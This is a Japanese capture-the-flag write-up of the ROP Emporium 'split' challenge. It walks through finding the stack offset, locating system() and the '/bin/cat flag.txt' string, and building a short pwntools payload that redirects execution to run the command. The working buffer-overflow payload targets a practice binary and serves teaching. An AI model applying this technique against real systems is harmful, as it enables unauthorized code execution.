ROP Emporium: split (pwn)
split32という実行ファイルが与えられる。この実行ファイルには前の問題と同様、/bin/cat flag.txtとsystem()が存在しているが、今回はそれらが結びついていない。そのためsystem()へ/bin/cat flag.txtを引数として与えなければならない。
https://scrapbox.io/files/62bd6b62463d1b001d99b890.png
PEDAでpattc 96で生成した文字列を入力すると、 https://scrapbox.io/files/62bd7131eb10570023236c7d.png
となり、Invalid $PC addressというエラーが出ている。この0x41414641(AFAA)をpattoで検索するとオフセットが44だとわかる。ここをsystem関数の呼び出しにして、その引数をbAA1の部分から参照すればフラグを出力できそうである。
pwnme関数のret命令(0x804860b)のときに、SPをsystem関数を呼び出すアドレスにしたい。 まずsystemを探す。objdumpでsystemが呼ばれている場所を探すと、 code:txt
$ objdump -D split32 | grep system
080483e0 <system@plt>:
804861a: e8 c1 fd ff ff call 80483e0 <system@plt>
となり、0x0804861aにsystem@pltをcallするアドレスが見つかる。ちなみにusefulFunctionという関数の中に存在していた。
次に/bin/cat flag.txtを探す。usefulStringにあった。GhidraのLabelsから見つけた。
https://scrapbox.io/files/62bd8ff7168dd60023be46eb.png
code:py
from pwn import *
txt = b"/bin/cat flag.txt"
elf = ELF("split32")
print(hex(next(elf.search(txt)))) # 0x804a030
を実行すると0x804a030にあった。
これらを元にペイロードを作成する。
code:py
from pwn import *
payload = b'A' * 44 + p32(0x0804861a) + p32(0x0804a030)
open("payload.bin", "wb").write(payload)
$ ./split32 < payload.binを実行するとフラグが得られる。pwntoolsのprocess関数を使って一貫して実行させてもよい。今回は段階的にペイロードをファイルに分けて組んだ。